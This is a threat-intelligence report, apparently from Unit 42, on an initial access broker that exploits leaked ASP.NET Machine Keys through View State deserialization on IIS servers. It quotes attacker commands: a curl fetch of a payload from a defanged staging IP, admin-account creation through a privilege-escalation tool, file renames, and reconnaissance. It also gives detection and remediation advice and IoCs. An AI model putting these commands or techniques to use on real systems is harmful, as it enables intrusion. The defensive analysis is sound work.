[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.com/) [![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/) Menu * [Tools](https://unit42.paloaltonetworks.com/tools/) * [ATOMs](https://unit42.paloaltonetworks.com/atoms/) * [Security Consulting](https://www.paloaltonetworks.com/unit42) * [About Us](https://unit42.paloaltonetworks.com/about-unit-42/) * [**Under Attack?**](https://start.paloaltonetworks.com/contact-unit42.html) English * [English](https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/) * [Spanish (LATAM)](https://unit42.paloaltonetworks.com/es-la/initial-access-broker-exploits-leaked-machine-keys/) * [French](https://unit42.paloaltonetworks.com/fr/initial-access-broker-exploits-leaked-machine-keys/) * [Japanese](https://unit42.paloaltonetworks.com/ja/initial-access-broker-exploits-leaked-machine-keys/) * [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") * [Threat Actor Groups](https://unit42.paloaltonetworks.com/category/threat-actor-groups/ "Threat Actor Groups") * [Cybercrime](https://unit42.paloaltonetworks.com/category/cybercrime/ "Cybercrime") [Cybercrime](https://unit42.paloaltonetworks.com/category/cybercrime/) # GoldMelody's Hidden Chords: Initial Access Broker In-Memory IIS Modules Revealed ![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 14 min read Related Products [![Advanced DNS Security icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced DNS Security](https://unit42.paloaltonetworks.com/product-category/advanced-dns-security/ "Advanced DNS Security")[![Advanced URL Filtering icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced URL Filtering](https://unit42.paloaltonetworks.com/product-category/advanced-url-filtering/ "Advanced URL Filtering")[![Cloud-Delivered Security Services icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Cloud-Delivered Security Services](https://unit42.paloaltonetworks.com/product-category/cloud-delivered-security-services/ "Cloud-Delivered Security Services")[![Cortex icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/cortex_RGB_logo_Icon_Color.png)Cortex](https://unit42.paloaltonetworks.com/product-category/cortex/ "Cortex")[![Cortex XDR icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/cortex_RGB_logo_Icon_Color.png)Cortex XDR](https://unit42.paloaltonetworks.com/product-category/cortex-xdr/ "Cortex XDR")[![Cortex XSIAM icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/cortex_RGB_logo_Icon_Color.png)Cortex XSIAM](https://unit42.paloaltonetworks.com/product-category/cortex-xsiam/ "Cortex XSIAM")[![Unit 42 Incident Response icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/unit42_RGB_logo_Icon_Color.png)Unit 42 Incident Response](https://unit42.paloaltonetworks.com/product-category/unit-42-incident-response/ "Unit 42 Incident Response") * ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg) By: * [Tom Marsden](https://unit42.paloaltonetworks.com/author/tom-marsden/) * [Chema Garcia](https://unit42.paloaltonetworks.com/author/chema-garcia/) * ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg) Published:July 8, 2025 * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg) Categories: * [Cybercrime](https://unit42.paloaltonetworks.com/category/cybercrime/) * [Threat Actor Groups](https://unit42.paloaltonetworks.com/category/threat-actor-groups/) * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg) Tags: * [GoLang](https://unit42.paloaltonetworks.com/tag/golang/) * [Initial Access Broker](https://unit42.paloaltonetworks.com/tag/initial-access-broker/) * [Microsoft](https://unit42.paloaltonetworks.com/tag/microsoft/) * [Web server](https://unit42.paloaltonetworks.com/tag/web-server/) * [Web shells](https://unit42.paloaltonetworks.com/tag/web-shells/) * [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/?pdf=download&lg=en&_wpnonce=48697d1bdd "Click here to download") * [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/?pdf=print&lg=en&_wpnonce=48697d1bdd "Click here to print") Share![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg) * ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg) * [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=GoldMelody’s%20Hidden%20Chords:%20Initial%20Access%20Broker%20In-Memory%20IIS%20Modules%20Revealed&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Finitial-access-broker-exploits-leaked-machine-keys%2F "Share in email") * [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Finitial-access-broker-exploits-leaked-machine-keys%2F "Share in Facebook") * [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Finitial-access-broker-exploits-leaked-machine-keys%2F&title=GoldMelody’s%20Hidden%20Chords:%20Initial%20Access%20Broker%20In-Memory%20IIS%20Modules%20Revealed "Share in LinkedIn") * [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Finitial-access-broker-exploits-leaked-machine-keys%2F&text=GoldMelody’s%20Hidden%20Chords:%20Initial%20Access%20Broker%20In-Memory%20IIS%20Modules%20Revealed "Share in Twitter") * [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Finitial-access-broker-exploits-leaked-machine-keys%2F&ts=markdown "Share in Reddit") * [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=GoldMelody’s%20Hidden%20Chords:%20Initial%20Access%20Broker%20In-Memory%20IIS%20Modules%20Revealed%20https%3A%2F%2Funit42.paloaltonetworks.com%2Finitial-access-broker-exploits-leaked-machine-keys%2F "Share in Mastodon") ## Executive Summary Unit 42 researchers uncovered a campaign by an initial access broker (IAB) to exploit leaked Machine Keys --- cryptographic keys used on ASP.NET sites --- to gain access to targeted organizations. IABs breach organizations and then sell that access to other threat actors. This report analyzes the tools used in these attacks. We track this actor as the [temporary group](https://unit42.paloaltonetworks.com/from-activity-to-formal-naming/) TGR-CRI-0045. The group seems to follow an opportunistic approach but has attacked organizations in Europe and the U.S. in the following industries: financial services, manufacturing, wholesale and retail, high technology, and transportation and logistics. The IAB used these leaked keys to sign malicious payloads that provide unauthorized access to targeted servers, in a technique called ASP.NET View State deserialization. This technique enabled the IAB to execute malicious payloads directly in server memory, minimizing their on-disk presence and leaving few forensic artifacts, making detection more challenging. We attribute the temporary group TGR-CRI-0045, with medium confidence, to Gold Melody (aka UNC961, Prophet Spider). This assessment is based on overlaps in the following: * Indicators of compromise (IoCs) * Tactics, techniques and procedures (TTPs) * Victimology This report also analyzes TGR-CRI-0045's infrastructure, as well as the tooling it used to gather information about other systems on the network and maintain access to the exploited systems. The tooling appears to be under active development. The earliest evidence of exploitation and tool deployment was in October 2024, with a significant increase in activity between late January and March 2025. This surge included deploying post-exploitation tools such as open-source port scanners and custom-built utilities for persistence (maintaining access) and privilege escalation (gaining higher-level access). We identified or responded to incidents at around a dozen organizations impacted by this threat. In most cases, we identified exposed Machine Keys as the root cause. Therefore, we strongly recommend that organizations review [Microsoft's guidance](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/) on identifying and remediating compromised Machine Keys for ASP.NET Internet Information Services (IIS) sites in their environment. Palo Alto Networks customers are better protected from the tools discussed in this article through the following products and services: * The [Advanced WildFire](https://docs.paloaltonetworks.com/wildfire) machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research. * [Advanced URL Filtering](https://docs.paloaltonetworks.com/advanced-url-filtering/administration) and [Advanced DNS Security](https://docs.paloaltonetworks.com/dns-security) identify known domains and URLs associated with this activity as malicious. * The [Cortex XDR](https://docs-cortex.paloaltonetworks.com/p/XDR) and [XSIAM](https://docs-cortex.paloaltonetworks.com/p/XSIAM) IIS Protection module features capabilities to both detect and prevent View State deserialization as discussed in this article. If you think you might have been compromised or have an urgent matter, contact the [Unit 42 Incident Response team](https://start.paloaltonetworks.com/contact-unit42.html). | **Related Unit 42 Topics** | [**Microsoft**](https://unit42.paloaltonetworks.com/tag/microsoft/), **[Web Shells](https://unit42.paloaltonetworks.com/tag/web-shells/)** , [**Golang**](https://unit42.paloaltonetworks.com/tag/golang/) | |----------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| ## Technical Analysis #### How Managed Threat Hunting Discovered TGR-CRI-0045: A Surge in Exploitation Between Jan. 30 and Feb. 2, 2025, we responded to web server intrusions in two customer environments. In both cases, the intrusions involved command shell execution originating from an IIS worker process (w3wp.exe). These intrusions exhibited the following common characteristics: * cmd.exe invocation using stdout and stderr output redirection: cmd /c your\_command\_here 2\>\&1 * Staging directory: C:\\Windows\\Temp\\111t * File retrieved via curl from: hxxp://195.123.240\[.\]233:443/atm #### Broader Investigation Unexpectedly, the investigation of affected endpoints revealed no recently uploaded web shells. However, expanding the investigation revealed the same cmd.exe invocation and staging directory misuse in other tenants' hands-on-keyboard intrusions. Telemetry confirmed the attacker executed commands loading managed .NET assemblies (C# code) directly into memory (reflective loading). This exploitation targeted the View State, an internal parameter within ASP.NET sites running on [Microsoft IIS](https://www.iis.net/), via deserialization of a malicious payload. Deserialization is the process of converting data encoded for transit or storage into internal application state. As [MSTIC reported](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/), this exploitation was likely enabled by the victims' use of static, exposed Machine Keys within their applications. Public reporting on financially motivated threat actors abusing ViewState deserialisation is limited. This report seeks to address this gap by providing insights into the attackers' trade craft and contributing to the growing understanding of .NET deserialization exploitation. Our goal is to empower defenders to effectively respond to these threats. ### How TGR-CRI-0045 Exploited Victim Servers #### IIS and ASP.NET View State Exploitation Primer Understanding TGR-CRI-0045's access requires explaining the roles of IIS, ASP.NET, View State and how compromised key material enables remote code execution. IIS is a web server supporting various web application technologies, including ASP.NET. This framework allows developers to create dynamic, server-side applications using .NET languages like C# and VB.NET. ASP.NET websites use View State to manage interactions between a user's browser and the server. View State maintains the state of frontend controls (e.g., checkboxes and input fields) between requests, storing this information in a hidden HTTP parameter named \_\_VIEWSTATE, included in all requests. This parameter is vulnerable to various .NET deserialization techniques that can enable remote code execution if the attacker knows the key used to protect it. Machine Keys, consisting of a ValidationKey (for integrity) and an optional DecryptionKey, protect ASP.NET View States from manipulation by default. However, attackers can leverage publicly available lists of leaked Machine Keys that are often present on production sites due to code reuse ([referenced at the end of this article](#post-145084-_570cbe1pdhwx)). Attackers can also extract Machine Keys directly from running servers. With a valid set of Machine Keys, an attacker can craft a malicious deserialization payload, target a vulnerable server and execute arbitrary code within the context of the IIS worker process. The potential scope of this attack is significant. View States are transmitted regardless of the specific site or application running on ASP.NET, even if disabled for a particular component. Any IIS server running an ASP.NET site with compromised Machine Keys is likely vulnerable. For a detailed explanation of how threat actors store and access Machine Keys, we highly recommend [this Zeroed.tech blog post](https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/). #### Generating and Executing View State Payloads TGR-CRI-0045 likely used tools like ysoserial.net --- an open-source .NET deserialization payload generator --- and its [View State plugin](https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs) to build malicious deserialization payloads that: * Bypassed View State protection using pre-exposed Machine Keys to create valid cryptographic signatures, bypassing built-in View State protections. (Compromised sites often had web.config files containing Machine Keys that were present on known denylists) * Used the [XamlAssemblyLoadFromFile gadget](https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Generators/XamlAssemblyLoadFromFileGenerator.cs), a deserialization gadget relying on XAML-formatted data to: * Trigger malicious deserialization * Load and execute a .NET assembly in memory from a Base64-encoded gzip stream contained in the \_\_VIEWSTATE parameter Loaded .NET assemblies have the same lifecycle as the delivering HTTP request. The attacker launches an exploit payload, and the target server processes it. The payload executes, using input parameters bundled within the same request and returns output to the originating request via the HTTP response. Once processed, the payload cannot be re-used. This "single-shot" exploit requires a separate attempt for each command, resulting in a 1:1 ratio of exploit attempts to command executions. Figure 1 below shows this process. ![Diagram depicting an HTTP request and response process. It includes icons representing settings, a user, a server, and a document. Text boxes display elements of the process such as URLs and HTTP methods like GET and POST, along with responses.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/07/word-image-600300-145084-1.png) Figure 1. Assessed flow of the operator's actions to build a payload, and how a response is sent back to them. ### Recovering and Analyzing TGR-CRI-0045 IIS Modules In compromised environments, we identified subsets of the following five .NET assemblies loaded into memory following successful View State exploitation: * **Cmd /c**: We identified three sub-variants, each using different HTTP parameters to pass a command to the system's command shell. This allowed the attacker to execute arbitrary commands on the server. * **File upload**: This allowed the attacker to upload files to the server by specifying a target file path and a byte buffer containing the file's contents. * **Winner**: This was likely an exploitation check, reporting back u a win to the attacker, confirming successful exploitation. * **File download**: (Unrecovered) Based on imported functions, this module appears to be a downloader, enabling the attacker to retrieve sensitive data from the compromised server. * **Reflective loader**: (Unrecovered) Based on imported functions, this module appears to be a reflective loader, allowing the attacker to dynamically load and execute additional .NET assemblies in memory without writing them to disk. The recovered assemblies share common data handling characteristics. They appear to use a simple single-character XOR key x to decrypt payloads embedded within HTTP parameters. The assemblies also appear to call httpContext.response.Flush() followed by httpContext.response.End() to terminate HTTP responses. This likely reduces the amount of forensic data generated when ASP.NET fails to correctly deserialize the malicious payloads, making detection and incident response more challenging. Assembly name E --- the default [ysoserial.net ExploitClass](https://github.com/pwntester/ysoserial.net/blob/master/ExploitClass/ExploitClass.cs) name --- occurs most frequently. To avoid naming conflicts, the attacker renamed some modules (e.g., Dw and d). Figures 2-6 below show the source code of the recovered modules, which were likely written as C# .cs files. Compilation --- transforming source code into executable code --- varies depending on the ysoserial.net gadget used. We most frequently observed the XamlAssemblyLoadFromFile gadget, which compiles the .NET assembly on the attacker's system during exploitation and transmits it to the target server for in-memory execution. **Cmd Payloads** ![Screenshot of a code snippet in a text editor with syntax highlighting. The code involves handling an exception, initiating a process to execute 'cmd.exe', redirecting standard input and output, and clearing HTTP context. The editor interface uses dark mode and displays line numbers beside the code.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/07/word-image-604393-145084-2.png) Figure 2. Source of the cmd /c variant payload with sec-fetch-mode headers. ![Screenshot of computer code in a text editor, featuring functions and commands related to HTTP context and system processes, including references to error handling and fetching command-line arguments.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/07/word-image-607684-145084-3.png) Figure 3. Source of the cmd /c variant with cmd header. ![Screenshot of computer code with syntax highlighting. The code includes functions and comments related to error handling and HTTP context operations.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/07/word-image-610770-145084-4.png) Figure 4. Source of the cmd /c variant with \_\_Value parameter and single character XOR encryption. **File Upload** ![Screenshot of a computer code editor displaying code with various functions, including array operations and HTTP context handling. The code has syntax highlighting and is displayed in dark mode.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/07/word-image-614944-145084-5.png) Figure 5. Source of the file upload assembly that takes a path and file contents in \_\_Fvalue and \_\_Bvalue parameters, respectively. **Exploit Checker** ![Screenshot of computer code in an editor with syntax highlighting and using HttpContext.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/07/word-image-618231-145084-6.png) Figure 6. Source of the exploit checker assembly that simply writes back to an operator u a win to indicate that exploitation was successful. #### Operational Use of Assemblies Between October 2024 and January 2025, the threat actor's activity primarily focused on exploiting systems, deploying modules --- like the exploit checker --- and performing basic shell reconnaissance. ### Hands-on-Keyboard Post-Exploitation Post-exploitation activity has primarily involved reconnaissance of the compromised host and surrounding network. We had observed no lateral movement as of early June. A consistent characteristic across all observed intrusions was TGR-CRI-0045 using C:\\Windows\\Temp\\111t as a staging directory for tools and data. In a few isolated instances, we observed the threat actor interacting with the C:\\Windows\\Temp\\gen\_py directory but found no evidence of them storing tools or exfiltrated data there. #### Local Privilege Escalation and Persistence The threat actor primarily achieved local privilege escalation using a custom C# binary named updf. This name was likely used to disguise the file as the PDF editor UPDF. The updf binary appears to be under active development, based on partially implemented features in its codebase. It uses the [GodPotato exploit](https://github.com/BeichenDream/GodPotato), which misuses Windows named pipes to impersonate a privileged service (e.g., epmapper) and obtain SYSTEM-level access. While updf can execute commands with SYSTEM privileges, it's most commonly used to create a new local user and add it to the local administrators group: * c:\\windows\\temp\\111t\\updf.exe -nadm 'support:Sup0rt\_1!admin' In one instance, TGR-CRI-0045 exported web.config files (ASP.NET configuration files) and modified a specific page's settings to \, potentially bypassing authentication for alternate server access. We couldn't confirm whether this modified page was an existing vulnerable page that was re-exploitable by TGR-CRI-0045, or a disk-based web shell. #### Download of Staged Binary Most observed intrusions involved using wget or curl to download an ELF binary named atm. If the attacker used curl, it was likely pre-existing on the hosts. If they used wget.exe, it was likely uploaded to the target servers by executing the file upload payload. This atm binary might support malicious activities on Linux servers, should lateral movement occur. The following is an example of a curl command used to download the atm binary: * curl hxxp://195.123.240\[.\]233:443/atm #### TXPortMap TGR-CRI-0045 used [TxPortMap](https://github.com/4dogs-cn/TXPortMap) --- a Golang port scanner and banner grabber --- executed as txp.exe or txpm.exe. They did so to identify internal servers accessible from the initially compromised host (the beachhead). This allowed the attacker to map out the internal network and identify potential exploitation targets. #### Reconnaissance Activities Over a five-minute period, the threat actor performed local and network reconnaissance via the command shell assembly, using the following commands: Table 1 shows the reconnaissance commands. |--------------------------|--------------------------------------------------------------------------------------------------------------------------------------------| | **Command** | **Description** | | tasklist | Lists all running processes on the system | | ipconfig /all | Displays the system's network configuration, including IP address, domain name server (DNS) servers and media access control (MAC) address | | quser | Displays information about users that are logged in | | whoami /all | Displays the current user's identity and group memberships | | nltest /domain\_trusts | Enumerates domain trusts | | net user | Lists local user accounts | | systeminfo | Displays detailed system information, including OS version and hardware details | | dir \ | Lists the files and directories in user directories | Table 1. Threat actor's reconnaissance commands. #### Renaming Uploaded Executables for Defense Evasion The file upload assembly sometimes uploaded executables with one-, two- or three-character filenames. It's unclear whether this was a limitation of the assembly itself or a deliberate evasion technique by the threat actor to upload files without extensions. The attacker then used the command shell assembly to rename these files with valid extensions within the staging directory, likely to make the files appear less suspicious. Examples of the commands used to rename the files: * "cmd.exe" /c move c:\\windows\\temp\\111t\\tx2 c:\\windows\\temp\\111t\\txp.exe 2\>\&1 * "cmd.exe" /c move c:\\windows\\temp\\111t\\tx c:\\windows\\temp\\111t\\txpm.exe 2\>\&1 * "cmd.exe" /c move c:\\windows\\temp\\111t\\w c:\\windows\\temp\\111t\\wget.exe 2\>\&1 After executing their tools and reconnaissance, the threat actor deleted any remaining on-disk tools and the 111t directory. ### Attribution and Targeting Based on overlaps in IoCs, TTPs and victimology, we assess with medium confidence that TGR-CRI-0045 is linked to Gold Melody. TGR-CRI-0045 has targeted organizations in Europe and the U.S. The group seems to follow an opportunistic approach that is consistent with their attack vector. Since the beginning of the identified activity, the group has targeted organizations from the following industries, most of them based in the U.S.: * Securities and investment services * Manufacturing - building supplies * Manufacturing - clay refractories * Manufacturing - surgical/medical instruments * Wholesale and retail * High tech * Transportation and logistics * Prepackaged software services * Data processing and preparation * Financial services * Used goods/merchandise resalers * Custom computer programming services ### Implications of Cybercrime Adoption of In-Memory IIS Tradecraft and Key Takeaways for Blue Teams #### Stealthier Access and Longer Dwell Times In-memory IIS tradecraft significantly hinders detection. Without proper telemetry, View State deserialization attacks are virtually invisible. Remediation typically occurs only when new Machine Keys are generated or the server is decommissioned. This allows threat actors, particularly IABs, to maintain long-term, low-footprint access to a pool of compromised systems. #### Telemetry for POST Requests: Covering a Possible Weakness Although View State deserialization payloads can be delivered via a URI parameter in a GET request, attackers typically include the \_\_VIEWSTATE parameter within a POST request. Due to their size and potential sensitivity, POST requests are rarely logged by IIS servers, proxies, load balancers or security appliances. Consider implementing solutions that conditionally filter and log POST requests. Options include the following: * Custom logging rules * Web observability frameworks * Endpoint detection and response agents * Network security appliances #### A Possible Detection Avenue: Windows Event Logging Windows might log View State deserialization failures as Event ID 1316 in the ASP.NET event log. Review these logs and check for malicious binaries in failed View State payloads. View States containing binaries or encrypted data (when View State encryption is disabled) are highly suspicious. #### Single-Shot Exploits: A Limited Approach TGR-CRI-0045 uses a simplistic approach to View State exploitation, loading a single, stateless assembly directly. Each command execution requires re-exploitation and re-uploading the assembly (e.g., running the file upload assembly multiple times). The same applies to executing a new directory listing or a new process. The assembly, parameters and exploit code are submitted and executed, and the results are returned through a single request. This single-shot approach limits the attacker's ability to interact with the compromised system. Even if TGR-CRI-0045 does not deploy a persistent web shell (backed by disk or memory) via View State exploitation, defenders need to be aware of the following: * **Each exploit is an opportunity** * Each exploit attempt provides attackers with the opportunity to execute a payload that is possibly invisible to existing security tooling and monitoring * **The absence of a web shell doesn't mean there's no breach** * A lack of a web shell does not indicate that the server has not been exploited * **Re-exploitation is required** * TGR-CRI-0045 must exploit the server each time they wish to execute a payload, unless they load a module that is persistent between requests * **Stateful exploitation is possible** * Although TGR-CRI-0045 is deploying stateless modules, there are documented cases of threat actors deploying stateful IIS post-exploitation .NET assemblies. These rely on data stored in ASP.NET and .NET variables that are accessible to the web processing pipeline and persistent between requests. [CrowdStrike's report on IceApple](https://www.crowdstrike.com/en-us/blog/falcon-overwatch-detects-iceapple-framework/) is an example of one such framework. #### ***MITRE ATT\&CK Techniques*** * [T1036.005](https://attack.mitre.org/techniques/T1036/005/) -- Masquerading: Match Legitimate Name or Location (updf binary) * [T1036.010](https://attack.mitre.org/techniques/T1036/010/) -- Masquerading: Masquerade Account Name * [T1046](https://attack.mitre.org/techniques/T1046/) -- Network service discovery (TxPortMap) * [T1059.003](https://attack.mitre.org/techniques/T1059/003/) -- Command and Scripting Interpreter: Windows Command Shell (cmd.exe) * [T1071.001](https://attack.mitre.org/techniques/T1071/001/) -- Application Layer Protocol: Web Protocols (HTTP View State) * [T1082](https://attack.mitre.org/techniques/T1082/) -- System Information Discovery (systeminfo, ipconfig) * [T1105](https://attack.mitre.org/techniques/T1105/) -- Ingress tool transfer (wget, curl) * [T1134.001](https://attack.mitre.org/techniques/T1134/001/) -- Access Token Manipulation: Token Impersonation/Theft (GodPotato exploit in updf) * [T1136.001](https://attack.mitre.org/techniques/T1136/001/) -- Create account: Local Account (updf) * [T1190](https://attack.mitre.org/techniques/T1190/) -- Exploit public-facing application (View State deserialization) * [T1217](https://attack.mitre.org/techniques/T1217/) -- Browser Information Discovery * [T1505.003](https://attack.mitre.org/techniques/T1505/003/) -- Web shell (Potential web.config modification) * [T1572](https://attack.mitre.org/techniques/T1572/) -- Protocol tunneling (If used, based on imported functions in the unrecovered file download module) * [T1587.001](https://attack.mitre.org/techniques/T1587/001/) -- Malware ### Remediation and Hardening Guidance #### Machine Keys IIS Machine Keys are fundamental cryptographic components used to authenticate and encrypt client-server data. They are essential for View State deserialization exploits. If you suspect a View State deserialization exploit, check your IIS application for the following: * Having no View State message authentication code (MAC) enabled * This can be accomplished by searching your web.config and machine.config for [\](https://devblogs.microsoft.com/dotnet/farewell-enableviewstatemac/) * Using a compromised Machine Key * Having had its Machine Key stolen We provide guidance for four possible cases below: * If View State MAC signing is disabled, enable it after testing application stability * If View State MAC signing is enabled and uses static Machine Keys, consider the keys compromised. Remediate them following guidance from [Microsoft](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/) and [Zeroed.Tech](https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/). * If View State MAC signing is enabled and uses static Machine Keys found in known compromised lists (e.g., [Blacklist3r](https://github.com/NotSoSecure/Blacklist3r/blob/master/MachineKey/AspDotNetWrapper/AspDotNetWrapper/Resource/MachineKeys.txt)): Reset the keys following the guidance from Microsoft above, ensuring the new key isn't on this denylist. * If View State MAC signing is enabled and uses dynamic Machine Keys, consider the keys compromised and regenerate them in IIS Server Manager. We strongly recommend reviewing [Microsoft's guidance on remediation](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/) for this topic. ## Conclusion This investigation reveals how TGR-CRI-0045 leverages in-memory IIS techniques for persistent access. Exploiting ASP.NET View State deserialization vulnerabilities via exposed Machine Keys allows minimal on-disk presence and enables long-term access. The group's opportunistic targeting and ongoing tool development highlight the need for organizations to prioritize identifying and remediating compromised Machine Keys, as outlined by Microsoft. The single-shot nature of the exploit and limitations of traditional telemetry show the need for conditional POST request logging and careful ASP.NET event log analysis. These measures aid detection and response when endpoint solutions lack visibility into such attacks ### Palo Alto Networks Protection and Mitigation Palo Alto Networks customers are better protected from the threats discussed above through the following products: * The [Advanced WildFire](https://docs.paloaltonetworks.com/wildfire) machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research. * [Advanced URL Filtering](https://docs.paloaltonetworks.com/advanced-url-filtering/administration) and [Advanced DNS Security](https://docs.paloaltonetworks.com/dns-security) identify known domains and URLs associated with this activity as malicious. #### XDR and XSIAM IIS Protection The [Cortex XDR](https://docs-cortex.paloaltonetworks.com/p/XDR) and [XSIAM](https://docs-cortex.paloaltonetworks.com/p/XSIAM) IIS Protection module features capabilities to both detect and prevent View State deserialization as discussed in this article. This module is enabled by default. If you think you may have been compromised or have an urgent matter, get in touch with the[Unit 42 Incident Response team](https://start.paloaltonetworks.com/contact-unit42.html) or call: * North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) * UK: +44.20.3743.3660 * Europe and Middle East: +31.20.299.3130 * Asia: +65.6983.8730 * Japan: +81.50.1790.0200 * Australia: +61.2.4062.7950 * India: 00080005045107 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the [Cyber Threat Alliance](https://www.cyberthreatalliance.org). ## Indicators of Compromise **Reflective .NET assembly hashes:** * 106506ebc7156be116fe5d2a4d662917ddbbfb286007b6ee7a2b01c9536b1ee4 * 87bd7e24af5f10fe1e01cfa640ce26e9160b0e0e13488d7ee655e83118d16697 * 55656f7b2817087183ceedeb4d9b78d3abee02409666bffbe180d6ea87ee20fb * 18a90b3702776b23f87738b26002e013301f60d9801d83985a57664b133cadd1 * d5d0772cb90d54ac3e3093c1ea9fcd7b878663f7ddd1f96efea0725ce47d46d5 * b3c085672ac34f1b738879096af5fcd748953116e319367e6e371034366eaeca * File sizes: Various * File types: Executables (DLL) * File description: Hashes of compiled assemblies observed * Run method: Loaded by IIS upon deserialization **Post-exploitation tooling dropped to disk:** * d4bfaf3fd3d3b670f585114b4619aaf9b10173c5b1e92d42be0611b6a9b1eff2 * c1f66cadc1941b566e2edad0d1f288c93bf060eef383c79638306638b6cefdf8 * File types: Executables * File description: [TxPortMap](https://github.com/4dogs-cn/TXPortMap) named txpm.exe or txp.exe * Run method: cmd /c * 52a72f899991506d2b1df958dd8736f7baa26592d664b771c3c3dbaef8d3114a * d3767be11d9b211e74645bf434c9a5974b421cb96ec40d856f4b232a5ef9e56d * File types: Executables * File description: .NET executables named updf.exe or up that uses the GodPotato privilege escalation technique to elevate and create a new local administrator or run an instance of cmd /c. * Run method: cmd /c * f368ec59fb970cc23f955f127016594e2c72de168c776ae8a3f9c21681860e9c * File type: ELF * File description: Allows a user to execute commands or binaries as a root user on Linux hosts. Downloaded via curl. **Exploitation IP addresses:** * 67\.43.234\[.\]96 * 213\.252.232\[.\]237 * 98\.159.108\[.\]69 * 190\.211.254\[.\]95 * 109\.176.229\[.\]89 * 169\.150.198\[.\]91 * 194\.5.82\[.\]11 * 138\.199.21\[.\]243 * 194\.114.136\[.\]95 Exploitation payloads containing malicious \_\_VIEWSTATE parameters were observed from the following IP addresses in October 2024-February 2025. HTTP/s traffic from these addresses targeting IIS servers should be interrogated. **Infrastructure staging post-exploitation tooling:** * 195\.123.240\[.\]233 Between January and February 2025, the threat actor pulled tooling down from this address via curl on Windows. ## Additional Resources * [Code injection attacks using publicly disclosed ASP.NET machine keys](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/) -- Microsoft Security Blog * [Resolving view state message authentication code (MAC) 